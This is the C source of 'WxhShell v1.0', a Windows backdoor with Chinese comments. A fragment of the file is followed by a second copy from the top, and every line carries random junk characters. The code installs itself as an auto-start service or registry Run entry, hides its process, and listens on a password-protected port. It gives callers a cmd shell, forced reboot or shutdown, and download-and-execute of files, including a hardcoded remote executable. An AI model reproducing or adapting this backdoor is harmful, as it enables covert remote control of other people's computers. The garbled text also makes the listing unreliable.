    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D=w5Lks  
    else { _oB!-#  
    closesocket(wsh); @c<*l+Qc  
    ExitThread(0); )>]~Y  
    } Wb_'X |"u  
    break; Wgt[ACioN  
    } 36<PI'l#~  
  // 获取shell C>d_a;pX  
  case 's': { z8SrZ#mg  
    CmdShell(wsh); /mb?C/CI  
    closesocket(wsh); A{5^A)$  
    ExitThread(0); *20$u% z2  
    break; <_S>-;by  
  } l@x/{0  
  // 退出 Q)\~=/L b  
  case 'x': { y^o*wz:D*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bIR AwktD  
    CloseIt(wsh); Q1fJ`A=  
    break; r*|#*"K"a  
    } ay\e# )  
  // 离开 ?I6us X9$  
  case 'q': { ~ >af"<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _]~gp.  
    closesocket(wsh); NArql  
    WSACleanup(); %"2 ;i@  
    exit(1); IpX>G]"-C  
    break; ^6*2a(S&  
        } d66 GO];"  
  } JsfX&dX0  
  } ,;aELhMZ  
*(%]|z}]m  
  // 提示信息 87Sqs1>cw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nQ*9|v4  
} E,]G Ek  
  } 9'tElpDJ6#  
o1j_5c PS  
  return; zCvt"!}RRa  
} s3+^q  
.^<4]  
// shell模块句柄 wic& $p/%  
int CmdShell(SOCKET sock) }n+#o!uEf  
{ 6]=$c<.&  
STARTUPINFO si; ^:.=S`,^  
ZeroMemory(&si,sizeof(si)); de?Bn+mvi.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]]\\Y|0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :27GqY,3sK  
PROCESS_INFORMATION ProcessInfo; 5 ",@!1ju  
char cmdline[]="cmd"; 8Bvc# +B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WUQlAsme  
  return 0; YQyf:xJ  
} ~ kdxJP"  
5]/i[T_  
// 自身启动模式 r Z0+mS'/G  
int StartFromService(void) <,%qt_ !  
{ W}<'Y@[ ,  
typedef struct lg)jc3  
{ (mHCK5  
  DWORD ExitStatus; 481SDG[b  
  DWORD PebBaseAddress; dqU bJc]  
  DWORD AffinityMask; ?mdgY1  
  DWORD BasePriority; a#iJXI  
  ULONG UniqueProcessId; $ e<&7  
  ULONG InheritedFromUniqueProcessId; i ez@j  
}   PROCESS_BASIC_INFORMATION; -^m]Tb<u  
29(s^#e8A  
PROCNTQSIP NtQueryInformationProcess; iw!kV  
~_SoP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H"_ZqEg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i%m]<yElm  
kW"6Gc&HUN  
  HANDLE             hProcess; ;++CMTza]  
  PROCESS_BASIC_INFORMATION pbi; Nwu,:}T  
}g1V6 `8&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %#!`>S)O  
  if(NULL == hInst ) return 0; 6Z:<?_p%7g  
y\]~S2}G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "0JG96&\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wAC*D=Qj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bLrC_  
2f'3Vjp~G  
  if (!NtQueryInformationProcess) return 0; iElE-g@Ws  
#7!P3j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?lg  
  if(!hProcess) return 0; w)A@  
r+T@WvS%W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |5o0N8!b[  
ZT>?[`Vgc  
  CloseHandle(hProcess); &F4khga`^:  
V) #vvnq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bL: !3|M  
if(hProcess==NULL) return 0; =Ri'Pr x&  
,G,'#]  
HMODULE hMod; "pdq_35  
char procName[255]; W,<P])  
unsigned long cbNeeded; Q;]g9T[)  
 xZJ r*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8]!%mrS  
r|U'2+vn  
  CloseHandle(hProcess); 8`e75%f:2  
mJBvhK9%  
if(strstr(procName,"services")) return 1; // 以服务启动 s68&AB   
%E\&9,  
  return 0; // 注册表启动 L0\97AF  
} 0G-M.s}A  
*#O8 ^3D_c  
// 主模块 OF^:_%c/  
int StartWxhshell(LPSTR lpCmdLine) g`6_Ao8  
{ {U:c95#.!S  
  SOCKET wsl; qDR`)hle  
BOOL val=TRUE; *>x~`  
  int port=0; q8U*  
  struct sockaddr_in door; RP}.Ei  
}pP<+U  
  if(wscfg.ws_autoins) Install(); 9G7lPK  
+8tdAw  
port=atoi(lpCmdLine); ig Mm.1>  
W2CCLq1(  
if(port<=0) port=wscfg.ws_port; mez )G|  
[ugBVnma  
  WSADATA data; wYxnKm~f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !+qy~h  
b2x8t7%O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *82f {t]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ku6bY|  
  door.sin_family = AF_INET; p~ `f.q$'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H{Zfbb  
  door.sin_port = htons(port);  4wLp  
 EAVB:gE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tv d=EO  
closesocket(wsl); oz!;sj{,D  
return 1; R)s@2S  
} {1H3VSYq  
Jg I+k Nx  
  if(listen(wsl,2) == INVALID_SOCKET) { 8mM^wT  
closesocket(wsl); 1BQB8i-,  
return 1; mlolSD;7  
} lM1Y }  
  Wxhshell(wsl); Im9^mVe  
  WSACleanup(); < * )u\A  
F8(6P1}E  
return 0; \}O'?)(1  
ZJL[#}*  
} . }QR~IR'  
gAcXd<a0  
// 以NT服务方式启动 X@$x(Zc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %]/O0#E3Kz  
{ &yFt@g]  
DWORD   status = 0; ~(2G7x)  
  DWORD   specificError = 0xfffffff; &"vh=Z-  
"Dbjp5_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wO6`Ap t1:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xngK_n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $_N<! h*\  
  serviceStatus.dwWin32ExitCode     = 0; ?:bW@x  
  serviceStatus.dwServiceSpecificExitCode = 0; F\1{bN|3  
  serviceStatus.dwCheckPoint       = 0; E|!rapa  
  serviceStatus.dwWaitHint       = 0; <a@'Pcsk  
n !ty\E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L_Q1:nL-0  
  if (hServiceStatusHandle==0) return; 'Wv=mBEfZ  
Do3;-yp>`  
status = GetLastError(); -\mbrbG9H  
  if (status!=NO_ERROR) 3c<). aC0f  
{ Y|bCbaF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :-x F=Y(;  
    serviceStatus.dwCheckPoint       = 0; S<Zb>9pl  
    serviceStatus.dwWaitHint       = 0; w!{g^*R+!  
    serviceStatus.dwWin32ExitCode     = status; v1 h*/#  
    serviceStatus.dwServiceSpecificExitCode = specificError; K8 Y/sHl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j(Tt-a("z  
    return; pVTx# rY  
  } r"s <;  
P$MAURFm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yrb[:;Y  
  serviceStatus.dwCheckPoint       = 0; a =LjFpv/]  
  serviceStatus.dwWaitHint       = 0; rYI9?q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^:Vwblv(  
} tWkD@w`Lnn  
cX$ Pq  
// 处理NT服务事件,比如:启动、停止 # [c`]v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x%kS:!  
{ SWujj,-[  
switch(fdwControl) q.L0rY!  
{ #S+GI!  
case SERVICE_CONTROL_STOP: cE S3<`[K  
  serviceStatus.dwWin32ExitCode = 0; " $5J7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I13n mI\  
  serviceStatus.dwCheckPoint   = 0; RFyeA. N  
  serviceStatus.dwWaitHint     = 0; yw'b^D/  
  { a}l^+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x|/zn<\^  
  } KL]@y!QU  
  return; d, j"8\@  
case SERVICE_CONTROL_PAUSE: |ToCRM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A!}Wpw%(/  
  break;  :~JgB  
case SERVICE_CONTROL_CONTINUE: e6{}hiM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1X\dH<B}  
  break; J[fjl 6p  
case SERVICE_CONTROL_INTERROGATE: FilHpnQCt  
  break; W.h6g8|wx  
}; CA[-\>J7y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !( xeDX  
} 0tVZvXgTu  
l_JPkM(mJw  
// 标准应用程序主函数 pNFL;k+p}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h@$M.h@mcG  
{ @;m7u  
/YYI 4  
// 获取操作系统版本 x6A*vP0nm)  
OsIsNt=GetOsVer(); 7B GMG|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @$ E&H`da  
aML?$_6  
  // 从命令行安装 `A O_e4D0i  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Mr_/t2(  
xk=5q|u_-  
  // 下载执行文件 r=[T5,L(s  
if(wscfg.ws_downexe) { e2|2$|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f1F#U @U  
  WinExec(wscfg.ws_filenam,SW_HIDE); $5aRu,  
} \gferWm  
TqK`X#Zq  
if(!OsIsNt) { w|?<;+  
// 如果时win9x,隐藏进程并且设置为注册表启动 1MI/:vy-  
HideProc(); R.Xh&@f`  
StartWxhshell(lpCmdLine); j`1% a]Bwc  
} dwOB)B@{H  
else A=q)kcuy5  
  if(StartFromService()) [@MV[$W5  
  // 以服务方式启动 yLFc?{~7  
  StartServiceCtrlDispatcher(DispatchTable); #)`N  
else >pjmVl w?  
  // 普通方式启动 >x0"gh  
  StartWxhshell(lpCmdLine); 1au1DvH  
"\bbe@  
return 0; *"#62U6  
} FCxLL"))  
9:N@+;|T  
HgJ:Rf]  
+VSJve |  
=========================================== \v bU| a  
*9((X,v@/  
ej dYh $  
 }6SfI;  
f Co-ony  
Ht,_<zP;  
" q h;ahX~  
4PUSFZK?  
#include <stdio.h> fMRBGcg7Dc  
#include <string.h> tW;?4}JR  
#include <windows.h> NqcmjHvy  
#include <winsock2.h> +u;f]p  
#include <winsvc.h> CHp`4  
#include <urlmon.h> YnC7e2  
We3Z#}X  
#pragma comment (lib, "Ws2_32.lib") mB &nN+MV  
#pragma comment (lib, "urlmon.lib") $@kGbf~k  
+9db1:  
#define MAX_USER   100 // 最大客户端连接数 FWqnlK#  
#define BUF_SOCK   200 // sock buffer 7g1" s1~or  
#define KEY_BUFF   255 // 输入 buffer cwi HHf>  
;=piJ%k  
#define REBOOT     0   // 重启 U^<\'`  
#define SHUTDOWN   1   // 关机 BU-+L}-48  
ZzET8?8  
#define DEF_PORT   5000 // 监听端口 EMME?OW$  
WoGK05w  
#define REG_LEN     16   // 注册表键长度 g#0h{%3A \  
#define SVC_LEN     80   // NT服务名长度 rug^_d=B  
K 8CjZpzq  
// 从dll定义API `WvNN>R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |r*btyOJk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FT'_{e!M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <I .p{Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rJi;"xF8  
2*:lFv wP  
// wxhshell配置信息 1jU<]09.  
struct WSCFG { $!P(Q  
  int ws_port;         // 监听端口 (as'(+B  
  char ws_passstr[REG_LEN]; // 口令 ??tyz4$;  
  int ws_autoins;       // 安装标记, 1=yes 0=no w5,p9f}.  
  char ws_regname[REG_LEN]; // 注册表键名 3In` !@EJ  
  char ws_svcname[REG_LEN]; // 服务名 O<nJbsl_w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N\XZ=t^h(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5qo^SiB.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [wB-e~   
int ws_downexe;       // 下载执行标记, 1=yes 0=no ')_Gm{A#p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $#ks`$v M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +tFm DDx=  
JF7n|o-`?  
}; ;!U`GN,tH  
z^=.05jB  
// default Wxhshell configuration OH~X~n-Z  
struct WSCFG wscfg={DEF_PORT, ud xLHs  
    "xuhuanlingzhe", J{8_4s!Xt>  
    1, 0&$+ CWSM  
    "Wxhshell", Ql8E9~h  
    "Wxhshell", Qp8. D4^@3  
            "WxhShell Service", b Z c&uq_  
    "Wrsky Windows CmdShell Service", ZAe>MNtW  
    "Please Input Your Password: ", r:.5O F}  
  1, ])paU8u  
  "http://www.wrsky.com/wxhshell.exe", NQefrof  
  "Wxhshell.exe" h*2Q0GRX  
    }; `F<)6fk  
Ep-{Ew{T_=  
// 消息定义模块 v w$VR PW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .&d]7@!qy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |@pJ]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gs$<r~Tg  
char *msg_ws_ext="\n\rExit."; pnin;;D*  
char *msg_ws_end="\n\rQuit."; \zA$|) x  
char *msg_ws_boot="\n\rReboot..."; O[[:3!6q  
char *msg_ws_poff="\n\rShutdown..."; a x1  
char *msg_ws_down="\n\rSave to "; )2T?Z)"hO  
iyNyj44 H  
char *msg_ws_err="\n\rErr!"; 6b+\2-eq  
char *msg_ws_ok="\n\rOK!"; s>`$]6wPa  
l<  8RG@  
char ExeFile[MAX_PATH]; lV!ecJw$  
int nUser = 0; WHxq-&=  
HANDLE handles[MAX_USER]; /zZ$<mVG  
int OsIsNt; kOR5'rh  
Y; =y-D  
SERVICE_STATUS       serviceStatus; h-`Jd>u"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w6>'n }  
NikY0=i  
// 函数声明 !f\,xa|M  
int Install(void); %Y8#I3jVJ  
int Uninstall(void); q,-bw2   
int DownloadFile(char *sURL, SOCKET wsh); xEtzqP<]  
int Boot(int flag); @2Xw17[f35  
void HideProc(void); Wj2]1A  
int GetOsVer(void); Z\8TpwD2  
int Wxhshell(SOCKET wsl); -E~pCN(E  
void TalkWithClient(void *cs); ~6!{\un   
int CmdShell(SOCKET sock); !` S ?  
int StartFromService(void); |,CWk|G  
int StartWxhshell(LPSTR lpCmdLine); ?,e7v.b  
c"R`7P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eaP,MkK&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bv,u kQ\CH  
_ +Ww1 f  
// 数据结构和表定义 ,[enGw  
SERVICE_TABLE_ENTRY DispatchTable[] = [O*5\&6  
{ \(Z'@5vC  
{wscfg.ws_svcname, NTServiceMain}, g/ONr,l`-  
{NULL, NULL} +@D [%l|  
}; SPKGbp&  
$ hwJjSZ0  
// 自我安装 O57n<J'6  
int Install(void) =fa!"$J3  
{ HU ]Yv+3   
  char svExeFile[MAX_PATH]; g2L^cP>2  
  HKEY key; <)c/PI[j  
  strcpy(svExeFile,ExeFile); {U8Sl.  
9ui_/[K  
// 如果是win9x系统,修改注册表设为自启动 M B|+F  
if(!OsIsNt) { d U n+?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WCxt-+#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oLVy?M%{P  
  RegCloseKey(key); H%NP4pK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JmB7tRM8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mmP>Ji  
  RegCloseKey(key); FC<aX[~&3  
  return 0; ;taTdzR_  
    } xe}d&  
  } <+D(GH};  
} pk2OZ,14Mj  
else { E/x``,k  
V 9Bi2\s*  
// 如果是NT以上系统,安装为系统服务 _?Zg$7VJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HJ[@;F|aU  
if (schSCManager!=0) Y6L_ _ RT  
{ |&Gm.[IX;q  
  SC_HANDLE schService = CreateService xI?%.Z;*+  
  ( x5\C MWW  
  schSCManager, )G6{JL-I  
  wscfg.ws_svcname, UD1R _bL}  
  wscfg.ws_svcdisp, ~oO>6  
  SERVICE_ALL_ACCESS, x zmg'Br  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ("UcjB^62  
  SERVICE_AUTO_START, "w ] Bq0  
  SERVICE_ERROR_NORMAL, R,[ dEP  
  svExeFile, lN$#lyy  
  NULL, Dd8*1,  
  NULL, $p@V1"x  
  NULL, 6|gC##T  
  NULL, @,0W(  
  NULL Pe[~kog,TP  
  ); Yt79W  
  if (schService!=0) F9(*MP|  
  { /bm$G"%d  
  CloseServiceHandle(schService); y]$%>N0vLX  
  CloseServiceHandle(schSCManager); B|E4(,]^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v-u53Fy  
  strcat(svExeFile,wscfg.ws_svcname); 7+wy`xi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /IS_-h7>XS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^g/    
  RegCloseKey(key); 4'JuK{/ A7  
  return 0; _bB:1l?V  
    } [5>f{L!<T<  
  } `tKrTq>  
  CloseServiceHandle(schSCManager); @R% n &  
} @Bs7kjuX  
} A?[06R5E#  
!}7FC>Cx  
return 1; z0[_5Cm/  
} u|prVzm\m  
iX4?5yz~<  
// 自我卸载 4DaLt&1  
int Uninstall(void) n$B SO  
{ ';"W0  
  HKEY key; %D|p7&  
 ,r\  
if(!OsIsNt) { O ;,BzA-n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :%ms6j/B&V  
  RegDeleteValue(key,wscfg.ws_regname); Sx{vZS3  
  RegCloseKey(key); J8Bz|.@Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L{_Q%!h3]  
  RegDeleteValue(key,wscfg.ws_regname); _7df(+.{<A  
  RegCloseKey(key); Tjba @^T  
  return 0; 7=yV8.cD  
  } Zd$a}~4~  
} ,h1 z8.wD|  
} feg  
else { !DgN@P.o  
o%dKi]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D"kss5>w  
if (schSCManager!=0) v eP)ElX  
{ akg$vHhK4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4cC  
  if (schService!=0) KLVkPix;$  
  { R5PXX&Q  
  if(DeleteService(schService)!=0) { t[$C r;  
  CloseServiceHandle(schService); $80 TRB#  
  CloseServiceHandle(schSCManager); 8w-2Q  
  return 0; c:QZ(8d]L  
  } i*-[-hn-V  
  CloseServiceHandle(schService); ~,j52obR6Z  
  } T](N ^P  
  CloseServiceHandle(schSCManager); }6zo1"  
} G Y??q8  
} hRK&  
g}(yq:D  
return 1; V`*N2ztSL  
} AAbI+L0m{  
B",5"'id  
// 从指定url下载文件 9 t)A_}O  
int DownloadFile(char *sURL, SOCKET wsh) 88%7  
{ |C;8GSw>|F  
  HRESULT hr; uL!QeY>k\  
char seps[]= "/"; oSd TQ$U!D  
char *token; -!d'!; ]  
char *file; ^d2#J  
char myURL[MAX_PATH]; e5\/:HpI  
char myFILE[MAX_PATH]; K?]><z{  
./SDZ:5/  
strcpy(myURL,sURL); xi5G?r  
  token=strtok(myURL,seps); Da.eVU;  
  while(token!=NULL) U$zd3a_(  
  { vTE3-v[i  
    file=token; kD_Ac{{<  
  token=strtok(NULL,seps); Y#aL]LxZE  
  } }_,\yC9F  
T!-*;yu  
GetCurrentDirectory(MAX_PATH,myFILE); +qN}oyL  
strcat(myFILE, "\\"); j1[Ng #.  
strcat(myFILE, file); T22 4L.?  
  send(wsh,myFILE,strlen(myFILE),0); !e>+ O^  
send(wsh,"...",3,0); )Z4ilpU,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c*>8VW>  
  if(hr==S_OK) *u J0ZO9  
return 0; ].AAHu5  
else l', +l{\Z  
return 1; 6}z-X*  
[)efh9P*  
} ^/'zU,  
!U 6q;' )-  
// 系统电源模块 qr$h51C&  
int Boot(int flag) dWc'RwL  
{ !TNp|U!  
  HANDLE hToken; Jcy{ ~>@7  
  TOKEN_PRIVILEGES tkp; <'y}y}%  
E`0mn7.t  
  if(OsIsNt) { >z #^JR\6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CjRU3 (Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3@}rO~  
    tkp.PrivilegeCount = 1; dG8_3T}i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +aY]?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >O;V[H2[  
if(flag==REBOOT) { $O'IbA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;?h+8Z/{  
  return 0; 7\0}te  
} I$0O4  
else { Q9G\T:^ury  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VTUY#+3  
  return 0; * \$m1g7b  
} =)c^ik%F&  
  } c1Rn1M,2k  
  else { Xp67l!{v  
if(flag==REBOOT) { C0K0c6A (4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E4QLXx6Wa&  
  return 0; {P {h|+;  
} >%\&tS'  
else { oKMr Pr[`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dZWO6k9[H  
  return 0; m[}@\y  
} -F$v`|(O+  
} M\_IQj  
ieap  
return 1; VbI$#;:[7  
} |Cm6RH$(  
o#K*-jOfiH  
// win9x进程隐藏模块 \[9^,Q P  
void HideProc(void) # 4&t09  
{ 14pyHMOR  
vojXo|c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e"(SlR  
  if ( hKernel != NULL ) c5em*qCw$  
  { |Vo{ {)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VPr`[XPXb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 11iV{ h  
    FreeLibrary(hKernel); Y*QoD9<T?;  
  } wgUgNwd1  
kNd(KQ<.17  
return; ^wIg|Gc  
} i5 0c N<o  
*S<d`mp[  
// 获取操作系统版本 ZLZh$eZZ  
int GetOsVer(void) LgxsO:mi  
{ Ie]k/qw+Y  
  OSVERSIONINFO winfo; 207FD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fZiwuq !_  
  GetVersionEx(&winfo); wnU-5r&!]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  JfsvK2I  
  return 1; ]iY O}JuX  
  else o~{rZ~  
  return 0; ' ~ 1/*F%8  
} nv <t$r  
A2.GNk  
// 客户端句柄模块 ~s{ V!)0  
int Wxhshell(SOCKET wsl) {)n@Rq\=v  
{ d:Oo5t)MN  
  SOCKET wsh; oZ_,WwnE  
  struct sockaddr_in client; LzQOzl@z  
  DWORD myID; 5AK@e|G$w  
o1Krp '*  
  while(nUser<MAX_USER) z2lT4SAv+  
{ Ea)=K'Pz  
  int nSize=sizeof(client); 7J ;\&q'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /|p\l"  
  if(wsh==INVALID_SOCKET) return 1; 5gSe=|we*p  
YU`}T<;bg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IP  
if(handles[nUser]==0) 4:= VHd  
  closesocket(wsh); %Jji<M]  
else Dk Ef;P  
  nUser++; 0|DyYu  
  } " ?Ux\)*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y(wb?86#W5  
_;,"!'R`f  
  return 0; Iw4[D#o  
} T#\=v(_NR  
H]}mg='kI  
// 关闭 socket mX%T"_^  
void CloseIt(SOCKET wsh) pr[V*C/  
{ & }7+.^  
closesocket(wsh); 0a2#36;_IK  
nUser--; 29^(weT"]  
ExitThread(0); G{!(2D4!  
} x];i? 4  
IF  cre  
// 客户端请求句柄 &Oc `|r*  
void TalkWithClient(void *cs) AyNpY_B0c  
{ Xf[;^?]X  
* a^wYWa  
  SOCKET wsh=(SOCKET)cs; `An p;el  
  char pwd[SVC_LEN]; P!SsMo6n  
  char cmd[KEY_BUFF]; e8E'X  
char chr[1];  ^Kl*}  
int i,j; rp4{lHw>C/  
:r2d%:h%2  
  while (nUser < MAX_USER) { O6,2M[a  
u_}UU 2  
if(wscfg.ws_passstr) { ,rjl|F* T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } lXor~_i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j]U~ZAn,K  
  //ZeroMemory(pwd,KEY_BUFF); *+k yuY J  
      i=0; ^ZIs>.'  
  while(i<SVC_LEN) { f1S% p  
1>/ iYf  
  // 设置超时 >X*G6p  
  fd_set FdRead; 0Y'ow=8M  
  struct timeval TimeOut; Ljiw9*ZI  
  FD_ZERO(&FdRead); #]Lodo9rS\  
  FD_SET(wsh,&FdRead); BnfuI  
  TimeOut.tv_sec=8; &'`ki0Xh;  
  TimeOut.tv_usec=0; *8+HQ[[#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YS@T Q?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >4q6  
Ly/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VT-%o7%N  
  pwd=chr[0]; #|3,DZ|)F  
  if(chr[0]==0xd || chr[0]==0xa) { R )4,f~@"  
  pwd=0; ei>iXDt  
  break; *VH Wvj  
  } orYZ<,u  
  i++; H DD)AM&p  
    } ~W={"n?=  
EiaP1o  
  // 如果是非法用户,关闭 socket .LDp.#d9r1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q^=0p0  
} *_d N9  
= y(*?TZH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FhPCFmmUT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2ga8 G4dU  
DUH DFG  
while(1) { ^7*7^<  
yyk@f%  
  ZeroMemory(cmd,KEY_BUFF); s"J)Jc  
OHW|?hI=[  
      // 自动支持客户端 telnet标准   bo@ ?`5  
  j=0; ^16zZ*  
  while(j<KEY_BUFF) { FV3[7w=D\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KK5_;<  
  cmd[j]=chr[0]; [clwmx  
  if(chr[0]==0xa || chr[0]==0xd) { k.jBu  
  cmd[j]=0; ADVS}d!;]  
  break; C@\5%~tW+  
  } @$t\yBSK  
  j++; ho B[L}<c  
    } nz'6^D7`r  
ywkRH  
  // 下载文件 m2YsE  j7  
  if(strstr(cmd,"http://")) { h{H*k#>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -'L~Y~'.  
  if(DownloadFile(cmd,wsh)) ~R~.D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)`\ j  
  else <3/_'/C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `u R`O9)e  
  } cH4 PrMm&  
  else { C^5 V  
_%Ua8bR$  
    switch(cmd[0]) { C"mWO Y2]  
  lN8l71N^  
  // 帮助 6w(r}yO]  
  case '?': { En#Q p3  
